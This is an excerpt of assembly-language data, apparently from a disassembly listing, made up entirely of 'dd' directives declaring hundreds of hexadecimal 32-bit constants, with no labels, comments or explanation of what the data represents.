		dd 0F888A367h, 699D9F80h, 81116Fh, 827A33D4h, 516545C0h
		dd 18CE84A8h, 82EDDF3Dh, 3420C1B6h, 8C987323h, 0BD11597Fh
		dd 57259D02h, 0E03473A9h, 0BCF0D58h, 0D39663C1h, 6AF20A0h
		dd 2C7C9452h, 0A2D4E612h, 1E87CC8h, 0DA80A1B1h,	0FB42A7D5h
		dd 32BC2840h, 0B8202F45h, 40BD89EDh, 0AE7355ECh, 8620FA6Eh
		dd 991A03h, 36BD67FCh, 8C5F2C17h, 4D50DF02h, 60E20398h
		dd 1E6DB6Ch, 685CE192h,	709B2702h, 4006BE0h, 0E8A3B1EEh
		dd 0A27FD4E0h, 0F7280044h, 0DD22D269h, 73C38331h, 80132D6Eh
		dd 8935FD6h, 0DA22E1DFh, 0AC481882h, 1C00ED0Bh,	80CDBA63h
		dd 0E00829Ch, 5536FEA6h, 0A4C66E13h, 96EE3794h,	0D62EC330h
		dd 848EF7C1h, 0E663C310h, 1888FCA1h, 7F1DFB57h,	0D4008CA9h
		dd 4C82BABEh, 69920FBCh, 23DCECBh, 0D618A821h, 0D4433C68h
		dd 0EC5CE424h, 0D7D96007h, 0F411B0CAh, 26C59801h, 32626C45h
		dd 48CF70E8h, 0A8C1838Dh, 89179863h, 0D2A00147h, 188B6B82h
		dd 0D0FC21E6h, 25139686h, 14812DDBh, 88035C7h, 53F504DDh
		dd 1134FE7h, 0D0CFDEB6h, 0C6C304D0h, 100C2FD7h,	185BB636h
		dd 0A54D2882h, 0D57F00DCh, 46553780h, 9CA0E319h, 0AC030436h
		dd 0C3834FDBh, 0C12921A8h, 91E15B08h, 64351C10h, 6200051Ch
		dd 6702077Eh, 1FF47003h, 41FF066Ah, 5FD30A6Eh, 89F8E0A3h
		dd 0FE0F6F7Ch, 2B08618Fh, 0F000584h, 0E3364D80h, 0D71C0072h
		dd 6DFC9C5Dh, 0FD00AB8Ch, 99BE5FF9h, 3F328D6Ch,	376E4D2h
		dd 0BDD7B905h, 1103E1E9h, 62F2198Fh, 57E0C8A9h,	70661F4Ch
		dd 6B530045h, 3B619681h, 88A90A15h, 0AD2C0094h,	3E78598Bh
		dd 648C0043h, 982429C1h, 0EA0CBC23h, 102801AFh,	69F500B1h
		dd 0AD1C7964h, 0B2003C66h, 0A5276CF3h, 0F975E9h, 0C352BA7Dh
		dd 0A442F497h, 56869F00h, 6B46D091h, 0D29405C9h, 474933AAh
		dd 0CC74CBD0h, 0F4C56851h, 9C1EE2B6h, 0AB1696C1h, 80508DD9h
		dd 388A267Ah, 860188E6h, 0F3BB99D5h, 85F880C7h,	0B8E133A9h
		dd 9A7B45h, 84D839A6h, 0EF811DAEh, 16A1FF0Eh, 6EE9E0ADh
		dd 3F6B821h, 0B744A98Dh, 0D2A0F859h, 5C018E56h,	0C908223Eh
		dd 0A8407F81h, 0CF39EFh, 155AA3A2h, 0CA424BD7h,	802D1C00h
		dd 0CBAEE212h, 24B60320h, 885DC118h, 438CD097h,	0BB0CD4B5h
		dd 21F47F9Ah, 8D493F05h, 0EC850180h, 5ABEDAABh,	0B0A6AF03h
		dd 0A01A11FEh, 3FDE6BD5h, 0EB81A0BAh, 69BF5A7Eh, 3016EC4Eh
		dd 0B8EA4C00h, 0ECBD3B24h, 0B9AC0091h, 2D157E08h, 3E0663CAh
		dd 284EF772h, 0A3F8F711h, 6EEC0061h, 35D45CBEh,	0F500C4CBh
		dd 0CD85338Ch, 92FE9FFh, 89322C3Fh, 0F1B39C21h,	8FFF40C7h
		dd 0E4A047D4h, 86002696h, 0C9B84485h, 7DE3A34Dh, 7B8900ECh
		dd 41ED8025h, 46F8B3F5h, 0A16AD000h, 5619613Fh,	0FFD4BD2h
		dd 8CA08024h, 8AEE9F51h, 0D3995300h, 0D69C508Fh, 964B2D92h
		dd 2FCBA403h, 0FB6564C0h, 1B006AF8h, 137294FDh,	17B9CF5h
		dd 8742EE0Ah, 20D998FEh, 31046894h, 0E058EA18h,	64092C80h
		dd 1B272A2h, 4591C1C0h,	0C8E7578Eh, 0AE005F92h,	9A111044h
		dd 90FD50FEh, 0DEE22420h, 86269444h, 18840071h,	0FBCBEE9h
		dd 105803E7h, 0CBA07FCh, 34008E4Fh, 0AD6155h, 25FDC56Ch
		dd 4589ED98h, 8DB928C1h, 0EAF46DB0h, 0BEDE007Bh, 0C235F382h
		dd 477CA3E7h, 8303041Ch, 4AEF57C0h, 15F3ADEh, 583642E5h
		dd 0F010397Dh, 64036E9Eh, 3456343h, 2AA09FD4h, 79375Ch
		dd 827FDB75h, 41F0A213h, 0B75B1603h, 9DCFA128h,	4BFCE400h
		dd 0C05398Bh, 0B3B8D4Eh, 8063EB8h, 0F3FF142h, 96CD0009h
		dd 0B703DE0Dh, 500E471h, 9E877A9h, 0EB1B5Dh, 3459520Eh
		dd 0EF51495Ch, 0A85BA100h, 0B383CDCEh, 0E961019Dh, 0F0228A6Dh
		dd 3954D05Ah, 49955600h, 2711D5Eh, 9C3B2850h, 6DD0E8Ch
		dd 1BC009CEh, 727639DCh, 478B401h, 0AD842DCBh, 0F675A440h
		dd 0A4BA6227h, 4040C6B0h, 6600FA34h, 8BE82878h,	31E8A33h
		dd 0CEF609C7h, 52C054D2h, 0B30040E1h, 5A75C18Fh, 43DCADh
		dd 0A88E1A91h, 5B9B57FCh
		dd 0E46CF900h, 8CB53464h, 2624007Bh, 52D34D9Ah,	3D035811h
		dd 79D0B03h, 0EFCCD861h, 1B8501E1h, 2B401277h, 0EDC883D2h
		dd 0BE3CC976h, 5B150111h, 506B33B0h, 2B08F81h, 0C26C60CAh
		dd 3901D218h, 271D4540h, 5737E43h, 0CD49D11Eh, 23C9C00Ch
		dd 540022BFh, 9C5E182Bh, 196627h, 85F2EA9h, 0D30D1140h
		dd 0AD0E3612h, 6F5A0807h, 80856D43h, 0E379C8h, 3AC0170h
		dd 0AAD205Fh, 7C08661Eh, 1EC4A133h, 703C4068h, 0A707B5A1h
		dd 0B4152100h, 0B918263Bh, 3AF20F7Fh, 46F5313h,	161070E0h
		dd 0A800FC7Dh, 9DC98839h, 12135DFEh, 3B8A685h, 295FD0F7h
		dd 0C196E0A8h, 70ECAD37h, 9E0C00FFh, 26E4BF8h, 0B1D599CCh
		dd 0A660E690h, 0F7009B94h, 0A192D220h, 59AB388Bh, 2600D8F3h
		dd 0CFFED7D1h, 20030EB0h, 0BEC894C2h, 6D5818B6h, 0D16829EAh
		dd 8D049F72h, 649A22Ch,	48ABE882h, 14EF8FCh, 3D983773h
		dd 0ECF2169Ch, 85009E67h, 53E3D9D3h, 9A7680h, 27A6EC66h
		dd 81218C48h, 1197FC00h, 0E6238510h, 0B93D006Ah, 4971B01Fh
		dd 27F86070h, 8C66B100h, 8A4445CFh, 0F4720014h,	0E1632A2Eh
		dd 0A1CA1F60h, 3200DED1h, 345D2CD9h, 523339DBh,	0C008DA28h
		dd 58601D09h, 107C4F13h, 0A55190Fh, 0E596357h, 215C804Bh
		dd 30341C69h, 0B347C32Bh, 0B988BF9Fh, 83002036h, 800991DFh
		dd 2CD48DFCh, 8188BA88h, 0C30F7E2Eh, 60C464E4h,	0BAAAA638h
		dd 0BC3680C9h, 0A9CE8FE9h, 0C62326FEh, 94E03DD5h, 47F951EEh
		dd 0AB99D81Ch, 9A25B407h, 0F279A030h, 9828019Fh, 77D64B36h
		dd 2B168022h, 1A740273h, 0D874FD83h, 5CBD00EBh,	5EBBEEC3h
		dd 4000ECCDh, 0BFD3D461h, 7D0D162h, 96D56643h, 64F08178h
		dd 0E8F6F1A4h, 0EE0060A6h, 0E1689E6Eh, 8EB355h,	49BB87D7h
		dd 432D8CD8h, 0B8DC411Fh, 5441CAD7h, 3DFF63DEh,	5A00503Dh
		dd 81CEF5F9h, 0BC4C82B5h, 0B0387846h, 0CFFD93BEh, 0C2805C00h
		dd 0F24490h, 84B787ADh,	0F34797C6h, 0B985B600h,	4894C086h
		dd 82C30CF6h, 0DFD889EBh, 9C73921Dh, 6CCDC404h,	0D7F0C4B1h
		dd 87989ECCh, 15BAFED0h, 46E480D6h, 18DEF75Eh, 0B401C61Fh
		dd 0EB20BB7h, 7D794DCh,	4C2FC2Ch, 58059083h, 9B0020D4h
		dd 61221E2Eh, 7311DFBBh, 0A8D00093h, 738AC19Eh,	0E2001AA9h
		dd 0E69BA59Dh, 4FBAFF48h, 0DCA800BBh, 61F0CE82h, 7F2F1300h
		dd 55377E65h, 0BE070014h, 2951A981h, 1704691Bh,	4DC65606h
		dd 361240A8h, 7990913Ch, 7E4511AAh, 17E43811h, 0D444A7D4h
		dd 14B14AACh, 90E57808h, 0AE3A84E0h, 42849D48h,	0DD80CEBFh
		dd 5A4CCBDh, 0A3CDBC4Bh, 908184Ah, 0C87CF08Dh, 0C03F3Eh
		dd 0C6B9C5A9h, 3DBDC9ADh, 47290FAh, 9B9F4498h, 2F908035h
		dd 0E1050D2Ch, 0DD39DE20h, 4CC710C0h, 55872C2Dh, 0F76A0060h
		dd 8BACB833h, 217B5600h, 804DEA8Eh, 100CBA66h, 11FCEEDCh
		dd 0C812404Ch, 91384121h, 0A84449D5h, 0F013319h, 0EE66C75Bh
		dd 0F8F5F270h, 7143CEDCh, 0F3B805C3h, 0C155AD1Dh, 201825F6h
		dd 0BE60C4FAh, 96132D18h, 591E0346h, 0A70F747Bh, 0FC27D198h
		dd 102F5F00h, 5A1FA577h, 0C44D0EE2h, 6C80DE3Bh,	1A4E5C3h
		dd 2FAC5701h, 0E4D4AE32h, 0B8A5E8h, 0B4244966h,	15FA7105h
		dd 0C0F71D75h, 0B5011892h, 886BE704h, 6024EA14h, 60F454h
		dd 5E02A025h, 6307A227h, 24A1142Ch, 6A0E7C30h, 437F03F3h
		dd 0FAE1865h, 1AC1EE0h,	0A4266804h, 78D0D039h, 54134396h
		dd 1CBCFCh, 0FFAB6C8Dh,	47A06DFBh, 7786B0A8h, 3B3F18E6h
		dd 4809BA06h, 1AE000ECh, 646D806Ch, 0D340DD9h, 0F03011E6h
		dd 810013BBh, 45F5D363h, 4592069h, 43C5EE68h, 37B4C242h
		dd 0B61F6740h, 0FBAB4000h, 0A658E450h, 45E0002Fh, 67DF7DAAh
		dd 494A9EB2h, 0D70F4800h, 39C86A47h, 0F105BFD0h, 406F7175h
		dd 0D49FCAECh, 29009EE7h, 86185607h, 3C137FEBh,	0F05C7B3h
		dd 841AC617h, 0B5F000FEh, 5739D26Dh, 21CA7600h,	123B6958h
		dd 18A426E8h, 0D8261Eh,	75830EBEh, 5D02FF68h, 0A04A2F63h
		dd 417CE0C6h, 0AA070410h, 8204D508h, 0CCA8269Dh, 540507C8h
		dd 72271Ah, 510D78B9h, 0AD0C3F01h, 3633C761h, 94A1E7D8h
		dd 511D8F54h, 55171159h, 0A3048CB4h, 9FA55C01h,	0E53066D5h
		dd 0A615720h, 0F98BFF80h, 18588390h, 16900954h,	56000B52h
		dd 5508571Bh, 49235A1Eh, 0E00B18AEh, 7010DAD7h,	355C5031h
		dd 2D4800EFh, 264342C4h, 64F098Ah, 0C01DED0h, 2460F910h
		dd 8924B0C0h, 97810C69h, 0E001903Ch, 0C434ADF1h, 0F502038Eh
		dd 0FB14759Eh, 882368F8h, 0EFA1E450h, 0E0021F4Ah, 498A93h
		dd 6177C773h, 0E3B4A001h, 19899CFFh, 31BDC20h, 9BABC2A4h
		dd 7000218Fh, 0A0974078h, 4B669Ch, 80835224h, 0D8E256F9h
		dd 31A4E300h, 0D04EF08Ch, 0A03C0914h, 0B040F329h, 5B039B4Ch
		dd 5D9955A8h, 5E9EB0AAh, 9D5806ADh, 95FAE41h, 0DD271D00h
		dd 0C166D32Eh, 18D50134h, 4CD938C7h, 20E8256Bh,	0BE26336Ch
		dd 803D5057h, 83CEFEB8h, 78B65D89h, 6DE90284h, 6742ECC3h
		dd 75CA1640h, 0B0347E00h, 1A5F6C41h, 716124E8h,	148F8098h
		dd 0FB383EABh, 8A183BF6h, 4FB97744h, 29B2605Ch,	8BC76C9Bh
		dd 92C94B00h, 7BD296D9h, 9F8D0726h, 0A09A1776h,	6B531278h
		dd 0FE7EFB00h, 0C410DE2Ch, 3A431304h, 5EE2054Bh, 0A0FC928Dh
		dd 0EB1E4CE0h, 6BE6DAF6h, 0BCAE4B00h, 28966C3Fh, 1F07E74h
		dd 0DFB34464h, 0E0613BBBh, 0A93B7DA4h, 37381F3Ch, 0A830A264h
		dd 7294D898h, 80109C49h, 954897DBh, 63039ADEh, 679EC2E9h
		dd 6CAA0F23h, 9093F31Dh, 0ED0B7A14h, 2838400h, 0C68F4AE6h
		dd 40E04890h, 20395001h, 60ACE875h, 6000F19Eh, 0CA4A0781h
		dd 0A8F3E36Dh, 488C0590h, 910018A4h, 0AF70F962h, 99122D7Ch
		dd 0E8073EB1h, 0A05F893Fh, 7DF2734Eh, 64E2002Eh, 9B351060h
		dd 0CC00B45Eh, 7F8362FDh, 53FC28h, 8F4DDAABh, 0E6AABB37h
		dd 89989314h, 0EB0802EAh, 50DD5FBAh, 0F0D45CB8h, 0F7B8AC01h
		dd 0F81A35F3h, 724E12Ah, 582C0CCh, 49521761h, 0A9F311D4h
		dd 4830D313h, 1D357FB7h, 4277D17Dh, 4E75F819h, 25488440h
		dd 8F14411Ch, 0A21C6B00h, 32DE0Fh, 9F19C450h, 8C9869F6h
		dd 0D599C300h, 9B48E9AFh, 6F0003Dh, 3F02F495h, 8E70B942h
		dd 3E384500h, 79E16F73h, 0FC2F07F0h, 405D01A8h,	45402448h
		dd 3304C3E2h, 752C4313h, 79EC48C0h, 867302BDh, 0CD7EF924h
		dd 2BAD8080h, 54070E7Dh, 71A00112h, 60CE9AB2h, 94D054h
		dd 585A46ACh, 72DBBA9Ch, 0A4B5F200h, 0A2B7E945h, 0E1E70047h
		dd 0AE277653h, 2C76A3E5h, 5729DE00h, 0A8727862h, 49D800BBh
		dd 6482539Ah, 0E501B6ABh, 0BEEB2FEAh, 1B707DF4h, 680D1FC7h
		dd 7C300104h, 6064652Eh, 0C5009E07h, 9C7993A6h,	390BB40Ah
		dd 0D88019BCh, 2A44284Ch, 100020AFh, 422647D9h,	0E22AD24h
		dd 0DDC0C1Eh, 0EE5CC6C0h, 713D5529h, 5AD28902h,	739C20D4h
		dd 4A804E5h, 0AA06E376h, 0E7C0E474h, 185E0A13h,	0A0DEC481h
		dd 7C8C49E0h, 80E89C3Ch, 0F7D6F647h, 0CB00FD79h, 133F6C35h
		dd 168CD84Ch, 98AB55h, 0A4B09C74h, 0A0FE5AD3h, 231DD190h
		dd 0F240D194h, 500CED19h, 621A261Dh, 5F250418h,	5CA8022Ah
		dd 2B32AB3h, 0F05DD08Dh, 0D1817876h, 598FD39Fh,	0E28C7830h
		dd 4C94BAE5h, 8A0028D8h, 0C5B3DC28h, 4B137AC4h,	8E40B06h
		dd 2E2B4ACFh, 0CC2897D4h
		dd 0AAAD80D9h, 0CED48200h, 0AD6AEBAh, 8084BE5Bh, 0DD2F3760h
		dd 961D73E2h, 9D1DF2DFh, 6DCDC504h, 8677F0A2h, 887F645h
		dd 62729FAFh, 0F2C0A2E5h, 0EB7AA71Fh, 7645F48h,	0A351D49Ah
		dd 0A131B707h, 0D4288292h, 2ECEAF00h, 68131BAh,	906C4303h
		dd 8C1C8C22h, 76EB18C0h, 0BB5E18BDh, 0D6B568D4h, 25D70D12h
		dd 0C0CC54A4h, 0CE8B64A0h, 637469F2h, 30678D02h, 84E21DA8h
		dd 9A081070h, 745D7F00h, 905537h, 0A52EC79Dh, 0E05CE19Eh
		dd 7A6121Eh, 0B4B02592h, 0B4933AEFh, 0A0DC1A07h, 247602F9h
		dd 43FF7E40h, 0CE718B00h, 1F4FFA62h, 9D230087h,	738464D9h
		dd 0DE73728Eh, 9FFC6E77h, 0F0656D1Ch, 3022568Dh, 5D4C7FCh
		dd 60038F47h, 0BF0E5DCh, 2200EE04h, 34E37C4h, 18C2FD5Eh
		dd 80A359FEh, 0C0D0C6ECh, 0B6DD0753h, 30A98B51h, 4A88D203h
		dd 0A1B228C4h, 0C84EBC48h, 84FE908Dh, 0A848A7E3h, 248E6E42h
		dd 0A648218Ah, 0D9109412h, 89689F0h, 80AA4402h,	89F4E484h
		dd 44BC08A2h, 22846CA8h, 4E22F873h, 0B1572287h,	0F7115842h
		dd 85A21E0h, 4490B437h,	48E2F584h, 0BB074266h, 22213024h
		dd 107212E3h, 1C89B9EFh, 0E544B308h, 0B122841Eh, 330844BFh
		dd 93B3801h, 0B3D3E35h,	0ED53FD9h, 772132ECh, 0FD09C30Fh
		dd 0B3E13DC6h, 0B514F006h, 18273800h, 1BCB6CB9h, 96D00BEh
		dd 5C1E0C65h, 8B09A1EFh, 0A0CE9ED8h, 0D5C3C5A0h, 19C900C6h
		dd 0DC9031AAh, 8E00D69Ah, 5C8F9D33h, 0F0EE2FDh,	0BD18E3D9h
		dd 0CF086362h, 7BCBB4C0h, 93AB100h, 269186ADh, 84A2978Fh
		dd 0BC7003A4h, 2F0B9894h, 5158E0E8h, 58F8B834h,	0A700381Bh
		dd 0A1EC7409h, 550084AEh, 625C3C50h, 61A0353h, 0EA2599C7h
		dd 45226001h, 0CE042C05h, 0BB405200h, 8C3ECBF9h, 15E10BB0h
		dd 2834002Ch, 0A9BE286h, 8FE98D21h, 0A6C8016Ch,	0C9D894C2h
		dd 9FA4F403h, 7AF76500h, 29AE551Fh, 78BD077Dh, 506B851Eh
		dd 0E8C87B1Ch, 5A097C60h, 20629CEh, 0EC707367h,	0D8C0B37Dh
		dd 9DFE8C2Ch, 0E68ADB00h, 0EB8F259Fh, 0F2B8036Ch, 0F6BD77EEh
		dd 0CBF76BA8h, 213EA0F0h, 27A60087h, 0DFAE50B9h, 0B75800B1h
		dd 0CB7EAAD6h, 0E40054BAh, 75A49C5Dh, 7D8BACD4h, 493C3E5Bh
		dd 0A9ABA100h, 2DDEFEF4h, 0AF70BF70h, 73F05C01h, 4F22273Bh
		dd 3A0F870h, 0F5D8F472h, 0C7D8317Bh, 1F00446Dh,	0B9CD3BB4h
		dd 7521836h, 0ABE5455Fh, 2BA000ACh, 6F81267h, 16FBA4A3h
		dd 269CF490h, 963CAF3Eh, 0FC002EFDh, 4F1F481Bh,	141A4885h
		dd 31603301h, 0E4EFC874h, 0D248C328h, 5E350E18h, 80BF8BF0h
		dd 4F7FAE90h, 8C25012Bh, 703D14D4h, 26118742h, 23B060E8h
		dd 4FF6FABh, 0BF7C7AC5h, 0F004819Dh, 0CDD11101h, 0DA8BC510h
		dd 0C6C74C00h, 0D640A80Bh, 1D58FC90h, 41884292h, 6CE8F502h
		dd 137C4C2h, 0EA856D07h, 0EFF520A1h, 3B9CF4B0h,	5380024Ah
		dd 0A7C454A9h, 25054DDFh, 74A83741h, 35D0B8C7h,	5821964h
		dd 5A2BD30Bh, 71F4C0CAh, 59073D01h, 0A824FF9Ch,	9B6E63D1h
		dd 0F1C2020h, 0D90A2FACh, 9509AFCCh, 20343D24h,	13965801h
		dd 0C00B252h, 0FD25086Ch, 6F10C83Bh, 0D0CC500Bh, 1DD7010Eh
		dd 57CB1156h, 8681E3ABh, 145CF267h, 80BCBFBCh, 0AB71778h
		dd 241AEB1Eh, 2820E674h, 13ABECB0h, 0C16DF8FCh,	3DE37CBCh
		dd 0BBEB0474h, 80A9AA9Bh, 0B20C8648h, 4D114BA3h, 0CD5DD51Fh
		dd 24791C40h, 24D1A86Ch, 0EE8CB73h, 3060BA21h, 0CFF0A7DFh
		dd 5D6A30Eh, 69C100DAh,	7B25A150h, 9BDEAAEh, 0FD10466Fh
		dd 229A2423h, 1B202EE0h, 39CED02h, 0F958DA52h, 0E393009Ch
		dd 17445CD6h, 5115700h,	0F40207A4h, 7EBB3915h, 1458EC80h
		dd 40A73326h, 2800494Fh, 1020DAC2h, 9DF91FB5h, 0B7B1C32Dh
		dd 8DD97EECh, 2440EE74h, 340095A3h, 3693A6B8h, 98A4BAh
		dd 964BED39h, 9A48EE3Ah, 833E4Ch, 0BCB8B9D0h, 0E2BEBA8Ch
		dd 0B6EE8Eh, 0A9A0E6A6h, 9FE5DBADh, 56E3EF01h, 1B858CD8h
		dd 324D1F2h, 911C8A87h,	6030D9F1h, 0DB007042h, 0AE27F5A9h
		dd 61A7C5h, 0A6CC9731h,	83EEBED2h, 0B09A2209h, 0C08C00CBh
		dd 0FD398Fh, 0D94EB41h,	2CE235ADh, 51016800h, 9A107F3Ah
		dd 0DA0700DEh, 0C7386A0Fh, 8103D2A2h, 9791D68Ah, 0C4B600E0h
		dd 0A34DB2B8h, 6E1CE934h, 0D107489Fh, 0E530D4BDh, 0ED36056h
		dd 0EADBA36Ch, 63AD4C80h, 5E009EF0h, 88BE52C9h,	5B93E97h
		dd 0C4A6E77Fh, 295800ADh, 1691DC80h, 0E8883Ah, 5465C72Eh
		dd 6B9FB8h, 0F5B92C8Eh,	4788045Eh, 0A1CFBE00h, 0F98DC748h
		dd 983E60D1h, 7DE2299Eh, 20B6B100h, 930A4341h, 40809D5Ch
		dd 237C5D8Bh, 848E4Ch, 81608C2Dh, 5FF334h, 63F03182h, 18B63586h
		dd 43ED0F0h, 6D61244h, 0E660CBEh, 7501C1C0h, 0A7F7AE53h
		dd 0D840559Bh, 966122CDh, 0EA6B8048h, 9162F274h, 49EF1902h
		dd 60F33C9Ch, 16D196E2h, 43848995h, 0A0DD4670h,	11287FBBh
		dd 0E380FB53h, 9090D84Ch, 1DEF5200h, 17C161BBh,	0F26F00ECh
		dd 0D22798EDh, 780ECB25h, 0B4A60420h, 75F402ECh, 60A81921h
		dd 0E6E15754h, 0C64000E4h, 91709D97h, 0DB00FA15h, 1449F37Dh
		dd 18919B9h, 3B7BF088h,	0E4E59AADh, 7F131B4Ah, 100F0DDEh
		dd 520C8028h, 0F31E09h,	194C7CFCh, 0F13AC229h, 5F0036E0h
		dd 213176F7h, 0F2C146C0h, 0CFBF00DBh, 8B861A02h, 0C21D33C5h
		dd 9C004C2Ah, 7FFA6C10h, 0F8CD09FFh, 2201E676h,	0CCAD49ECh
		dd 8B26FB12h, 5916D465h, 0B5416845h, 0B4436180h, 42AB28D5h
		dd 8509C008h, 0D79BD0E8h, 810F8F7Ch, 602EA1DDh,	8822A6E1h
		dd 0E0992EE4h, 21A300FBh, 3427B348h, 0E8342EE5h, 258C00B0h
		dd 3BDE612Bh, 0C01514h,	0C46A993Eh, 981D5585h, 30A300D4h
		dd 0EBEC1884h, 0ACF8734Eh, 1AE50600h, 70DEE66Ah, 3C9D3A48h
		dd 1D78EB00h, 5109BD85h, 0B576BB00h, 0F221E0FFh, 2CF8F8B6h
		dd 2CCB79Ah, 0E312628h,	54CFC440h, 9597EB03h, 0F0AF4C53h
		dd 7498B538h, 28E006Ch,	0AEF4A406h, 0A00E250Eh,	6E0C8BC7h
		dd 0B4F68044h, 0FACE0FDCh, 8E5E00F4h, 5D813358h, 0A2F6070Ch
		dd 0EF5C3892h, 0DEAF801Ch, 985A526Ch, 65A30B81h, 0B4D8E4F1h
		dd 98134Ch, 0A603160Bh,	1081415h, 73B3CA9h, 603839AAh
		dd 0FE033DC7h, 2C292A40h, 2E2FA05Ch, 2728005Eh,	0DE107616h
		dd 56046B1Dh, 54725F0Fh, 8B759880h, 209E38h, 0BA39A8B4h
		dd 5300A69Bh, 42C9B9D6h, 9A076FDCh, 1AF9004Ch, 12DA67BDh
		dd 22036AEBh, 9FA5D20Dh, 0CD51A8BBh, 0AA0E008Fh, 0C33FD9FFh
		dd 981635F6h, 30C8119Ch, 16D4FE7Ch, 7165890h, 236AEA10h
		dd 59D05269h, 68004E1Fh, 913DDBE1h, 2AB466h, 0A810E35Fh
		dd 22771D17h, 0EC5E5C00h, 25346228h, 767A62C4h,	0F4C049E3h
		dd 60FD4346h, 48034734h, 1483A850h, 8CB8C5BDh, 6FEF6000h
		dd 51ED699Dh, 0E2589F76h, 614C25DDh, 9805348h, 42D12B11h
		dd 0D500CA67h, 0FBFC6948h, 1F06D4Ch, 0C1724FFFh, 0CCB0613Dh
		dd 0A17BEF41h, 6C94347Bh, 0D079880h, 788EA247h,	0C4764CE4h
		dd 0B3C5C03h, 14D8A7C3h, 0CE00B7D8h, 99D285F9h,	0ED98F31h
		dd 40D4C05Ch, 0F02280BEh, 0F76BD6A1h, 21079E18h, 608410h
		dd 5F0BCD18h, 3256DC1Ah, 0DF276200h, 9A2638C3h,	37B20111h
		dd 0EECA791Fh, 0FEAD45Ch, 0CE025300h, 25F4812Ah, 0FD600098h
		dd 0DD19D529h, 0B500EF1Ah, 0ABFBE324h, 0A0025E4Ch, 137AA4h
		dd 0FCB825B3h
		dd 4497D89h, 57186700h,	0DD4ED5D3h, 0E884504Fh,	0D2931F55h
		dd 0D79D4E8Eh, 0E89144C4h, 0E8475AF8h, 6881132Fh, 6EF0FF19h
		dd 98F1001Fh, 80E91776h, 0E2020E7Fh, 0ACC29346h, 6C78E0EBh
		dd 961C3F3Dh, 0BFD313Dh, 0E3DA3E06h, 0F4BE6CA0h, 0F8EE75F0h
		dd 2F676C13h, 3F6B2800h, 3E8DF34Fh, 7FB3ACD8h, 84A08119h
		dd 384E87E0h, 7C9918C2h, 5BCB0A48h, 62D900E0h, 0B2A56A80h
		dd 9D80E360h, 5E30926Fh, 80204BF3h, 70E254E1h, 6F002248h
		dd 356288EEh, 2DF1F6ACh, 0A468860Ah, 2C0B5B91h,	0A06397BEh
		dd 0B03E95C0h, 8B5AE7h,	2E8148B8h, 0EF7D8E86h, 48A19F2Dh
		dd 5AE120D0h, 0D4B400D7h, 5CA5E4B4h, 0D918C701h, 43BA19E3h
		dd 0FE35C5C4h, 2BFF0A6Ah, 439491C0h, 28007A9Ch,	4809673Eh
		dd 596591Fh, 81959DACh,	0D7A890FDh, 7600B407h, 0A56478C4h
		dd 5CD2E0ACh, 9602541Fh, 2D41B626h, 9ABFB460h, 0A8117001h
		dd 1BDBAFC6h, 0E08C420h, 99A1EC06h, 0DC3F40C0h,	0E516123Bh
		dd 441603AEh, 40E7F11Ch, 723FED0h, 69935CE6h, 218FD2E8h
		dd 8AC1C860h, 6D99DE00h, 5EF2228Ch, 0B45A14ABh,	44029028h
		dd 1F3BB1D0h, 72E98480h, 290365B0h, 587CEA3h, 0F012DBCFh
		dd 117517h, 2F5D1EDFh, 84F102Dh, 0D3E04000h, 0D43D5829h
		dd 22530032h, 2B2CC8B1h, 7E019879h, 0BC0E6617h,	12C06706h
		dd 137C58h, 0CA50733Bh,	2CDC176Fh, 5BCE2500h, 9326492h
		dd 728D02FCh, 0C658EB63h, 1A00EC5Eh, 3084040Ch,	92E7075Eh
		dd 44FEB62Eh, 28ECA005h, 6F4FB400h, 7AD67886h, 4B7A2Fh
		dd 19A383BAh, 0EA29F874h, 75006B5Fh, 20E04EFh, 0F4BCEE80h
		dd 0E5713DB7h, 753FBB00h, 3C6D09CEh, 0DB745500h, 9F10DD7Ah
		dd 625A0090h, 0E8C05839h, 48909CEBh, 57E15E00h,	5C8973D5h
		dd 0F56425F0h, 3E9A8C00h, 8200B4FDh, 0AC0D3725h, 0A357C7h
		dd 922D9CEAh, 8C2695C3h, 0A8A9E806h, 0FA28D6E4h, 4A989Ah
		dd 0E9D8A14Bh, 8CC4B95Eh, 0A8DEB001h, 0A3E192A2h, 0D72460h
		dd 0D89B5B90h, 0A613D2B8h, 51EEDF00h, 78C54884h, 5E2F01D7h
		dd 39B20FCEh, 782D46h, 11AF1F61h, 0BD0D7Ah, 0CC58B923h
		dd 21A8C7ABh, 7C5D8E00h, 9CE24732h, 0C6512CBAh,	2E803C20h
		dd 15521129h, 0FD5C7999h, 0E7770068h, 10BAC14h,	8B0E007Bh
		dd 0CE5B1C44h, 1878FF42h, 39920500h, 7E83BF2Fh,	1553042Bh
		dd 805BD64Ch, 226044CAh, 37AAFE00h, 0A75F3504h,	91F0001Ah
		dd 6F5E2A63h, 200C3FFh,	0D9D48855h, 0EE16B070h,	879B0EB2h
		dd 1C80A482h, 8367D340h, 0E1B56F00h, 0FFACBB3h,	414C0AACh
		dd 84D1FEh, 3B3AD53Fh, 0E02D21E5h, 0E7FC00E9h, 1E157AAh
		dd 40C916BDh, 424BCA0Bh, 48C0D7A3h, 9E004FE8h, 0A160FC74h
		dd 1F41E540h, 3BEF6C96h, 0A22C7900h, 8FF5349Eh,	44A6F700h
		dd 9C3CFD69h, 31E30EEFh, 5727856Dh, 119392C4h, 77E5E4C0h
		dd 81A3FA2Dh, 0D13E5634h, 144D2ECh, 9254CDBCh, 0F67AFA6Ch
		dd 99D0F8A0h, 8FF4AA2Eh, 7891C613h, 0F46F3C00h,	1858E69h
		dd 672D8617h, 387AC0B1h, 0B9340034h, 9112BA3h, 0B440036h
		dd 6F2FFD51h, 68F4F608h, 0F2193200h, 0E8590493h, 6E3E0052h
		dd 0E2D95303h, 0FF00F6D5h, 0DA7ECA24h, 79EC05h,	7C935752h
		dd 0B215B337h, 0E64EC507h, 23203541h, 53194E8h,	783B382Dh
		dd 6DCBC04Ah, 6B1D9E05h, 18C0B237h, 48310A0h, 0A20203BAh
		dd 931BA829h, 5CB27480h, 5039D20Eh, 0EDCC6073h,	6A90A6h
		dd 263071C2h, 288B4BFDh, 0D6A4C000h, 94EA9836h,	8E1D097Bh
		dd 51F2C4h, 4E5F43DEh, 960C988Bh, 0C102A9Fh, 0A4528C00h
		dd 238A4A25h, 3DFA1483h, 0EB00F803h, 0BB7CF877h, 9516D753h
		dd 0BA0392F4h, 0E73013AFh, 0EDC25EA1h, 0E64C002Eh, 0EC0A7958h
		dd 613C990Fh, 0D16222A9h, 7700D64Ah, 20D6EF90h,	0EAEBE304h
